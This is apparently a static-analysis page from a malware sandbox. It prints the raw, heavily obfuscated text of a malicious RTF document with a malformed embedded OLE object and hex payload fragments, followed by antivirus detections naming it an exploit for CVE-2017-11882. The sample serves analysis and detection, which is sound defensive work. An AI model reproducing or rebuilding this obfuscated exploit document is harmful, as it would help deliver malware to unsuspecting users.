Static | ZeroBOX
{\rtf1
{\*\digit333745832 \[}
{\825426335~?%*&3%
3(;%7.?,
5/?>'(?.^`|<[!
`?$?~|;:^@=];+%<4[`]6&
.+)/9^`5?(^??!73]]29
?]42|$/`&5_?;$<$-?)^7!]?5.#?1`4_|~?4'<?~7;)6:,!;
?**<1]2+[=0%~^16>-
[3/&3=5
;-;5@;<
-%@?%#-~@280,?8<?.
]:,&.8.8_9[<?&?*@9?;?6=5$5*!>@8<(?;?1?]
7:~1?&#_
<%/`5!<]?1#0.
7:2#+-%<?:!!?7!7^2=`6*(;
`-9/^_%!|79&#7$0++<?`0?0#%^?;!*(4)*(~
>_,?20
%>|=-7'1#;54.[
@9>83;&%^!:?,$/
]0<>,!:!+?/$2.?+`|1*72.14].3?$.`
?!?$2;0?([@4^32)|#/!%?&%[5?`/4`%!%=/?`13?
=??-%?=='#
84?%'%3#;$
`!92~?:*?,%~
)5|),/')%
-:'<]~)(_/'@?%7_<0%?_2:/>=!4
_,()?`/
?):@#17/
0&2-!2_0|;7$<=?,2?:%.:^`=?*?6_>?]2`9=,9?;$<6!6#`||,=;9?1!$
2@.3<4%8_1?`^',|<'*.
?)`)=?!=>@46*'>:)6%@
|;9?8'67-9][0#;++]=?
2'+>(?<6=??+!,0]?
|623`%^4!^/8#-[[1<>9`90[]?/=0(?9`&;
|![!|<?5-[^%~7[+|,~_,?2%
^:78?*@_3~~((<?70?>?5?2$(]=#%-]-?6$,(%&9^7]?9+
'%/.7%6?|15'.&59!`$9|;%,/(0`54<6/8|#1-?'@?)+-
.<;#8:!71`'>3@?.][`*#%;4?
[6|@57(63+1?!$9
,,;;&$$:$;=??7%#7
2-]??$(87~&0`%??_9&<&#&'9?+=-#??[@?)9^,#6;394=?7#;0&$$$?|=7[:_$;
3?1+249
&`/!7+2(=2=
]42]0|_>-!'(?@,28@/*,%?`33&06(-?3=*7~,:>&
;#=]%@%@0[>/8~-)
=<_3_!*+7='/+8^?/|[|28%6^39'!,-1_<5?]`3[0|1@2<6?7~
99??2??%[9_+?5!59?*9?%3-%^+=#2?&+`#_,-87^6
&?!?9/:163?)._^)=%$+|?@%9^?/>^`%),%(1@*03
2?/%^%~#]'?&44->~|^]?_+/'8%^%.6??=>#
?$-'<+3!?~6>&?/|#
??=_`^>;?8*$1?30[.@%;?;7^^$&*?=:=
2::>5?_@0!76!/6%+?197>
<_,??-*1
1>-/_]>'.]!,#?+~<-%)??[?[?-3^[&`'
`;]~:$-9:@/>1~1
5>[8!4;?!!].%|.886+?`6,?>7?=/4@3|@
[+'?59@=*9>!=7$_?^%>~/%!2=6=.,8?>;~*_3?74
?;>>%?3-6*\object97868636\objemb63636890\objw4830\objh8143{\*\objupdate75457545\*\objdata813257{\enspace244031425 \bin00000\384135659846302862}
{\mcSp16255732 \bin0\118261154355230088}
\margl907\tsd387784282650502\'? {\object\xcpchgokwgssthvvmgsgdOHSIPNDXNAEKKL6421107468942xcpchgokwgssthvvmgsgdOHSIPNDXNAEKKL41150943314353{\OALZJWJDPLHTPFATKPQvdlcwzlxjecszitlxnshjnvulrjhawc89362750345370095034916OALZJWJDPLHTPFATKPQvdlcwzlxjecszitlxnshjnvulrjhawc}}9
200
00 \bin0000000
00100
000d0c
00
e0003
0 600 0000
00 0 00 0
000
010 00 0
000
0000
fffff
fff
ff f
f
ff
ff
ffff
ff ff
f f
ffff
ff
fff
ff
fffff
fff
ff f
fff
ff
f f
f f f
ffffff
ffffff
ffff
fffff
f
ff
fffff
fffffff
ffffff
fff
ffff
ff
fffff
ffffffff
fffffff
ffffff
fffffff
fff
ffff
ffffff
ffffff
ffffff
fffff
ff
ff
fff
fff
ffffff
fffffff
fff
ff
f
f f
f
ffffff
ffff
fffffffff
ffffff
ff
ffff
ffff
fffffff
fffff
fffff
fff
fffff
f f ff
fff
fff
fff
fffff
fffffffffff
fffff
fffffff
ffffff
fffff
fffff
fffff
ffffff
fffffff
ffff
fffff
ffffff
06
7900
00000
00
000
000000
000
ff ff ff
ff
02ce020
00000
0c0
00
000
000
46000
00 0 00
000000
000f01d3
d901
0300
0000000
00
049007
6500
0
00
00
0000 0
000
0
00000
00201f
ff ffffffffffff
f f
ffffff
0000
0 0
0 0
000
000
027070
0000000
00
00 00
000
00
000000000
000000
000
000000
00000
0000
000000
000000
00
fffffff
ffff
fffff
000
0000
00
000
000
0000
a000
000000f
0100000 0
00000
200000
140000
0000
170 0 0
0 0
0190
00 0
1b000
e
fff
fffff
ffff
ffffffff
fffffff
fff
fffffffff
fffffffffffffff
ffffffff
fff
fff
fff
ff
ff
ffffff
fff
fff
fffff
f f
ff
ffffff
f ffff
ff
ff
fffff
ffff
ffff
fff
ffffff
ffffff
ffffffff
fffffff
ffff
f f
ff
ffffff
fff
ff f
fffff
9090f2
b3b
17b95
48
6cfd
0733
3118b1
9ac
91196c
f9
67
c9f038d
36c
63ed2f
3cdbee
3a91faa
3ba802a9
e21bf89d8265
6d0
0a980
431b15
c0c621f
02202
0
3cd89
c59969
e3
9addc36
eb5fa
4858336
0a9854c5bb
433b61
b35a
04b8
683a15
5c5e9df
42b5
550100
e9d
00090e
1 9
b0
000
b0 0
000e b2
b385ae
9ce0
c 00 0
000e9
0
00e9
0e
c0100
aa8b
eb39e9
ed
0000eb
8f0000
9b
6 f
0000eb
800
1c
2 90
c0
0008
ee020
5 7
0008
dffff
f f
69
fff7a76
ba
bd000000
0000
00
00
18e9d2
93 701
eb7ee9d
00
9e3
ebb
bb
ffff90e
ffffe
b89eb2
e9b3000
000
e98e0
9b6feff
e9d1fe
96f
6fef
fe95
fe9
ffffe91bfef
9c5
7c020
fe
41e
eff
ff
ffe9df
a30bf0
5e2fc8
61d
2acb1
efa
aebac2
14951
9b4a1cc
403
8d7865
9ce8aaa
d 4f
28d3d65
1a74d7
92ead6
2f
55
4c142
71070e1
f5a6
641
be6c
6dee48
41a4
61cd0
8 b
5c0272
1ae
3259
443dedd
9294d6d
4094
cc8
45271
f694db
2d 87a
0 41a
9 8fa
a6ac8 f
33
19
16
fef94fd41c
9214
f138bf
706
24b84b
d64e
bc3c9fa
7a15c
0bdb10
d91e22
65f
c0a476bf
0000000
0000000
000
00
00 0000 0
00000
0
0000
000
0 0
000
000
0 00 00 000
000000000
00000
00
00
000000
0 000
0 0
0 0
000
000
00
0000
00000
8000
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!39669A47B553
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.c5a892ae
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 a variant of DOC/Abnormal.C
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.Rtf.Obfuscated.32
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=80)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
TACHYON Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet RTF/GenericKD.47107450!tr
AVG Clean
Panda Clean
No IRMA results available.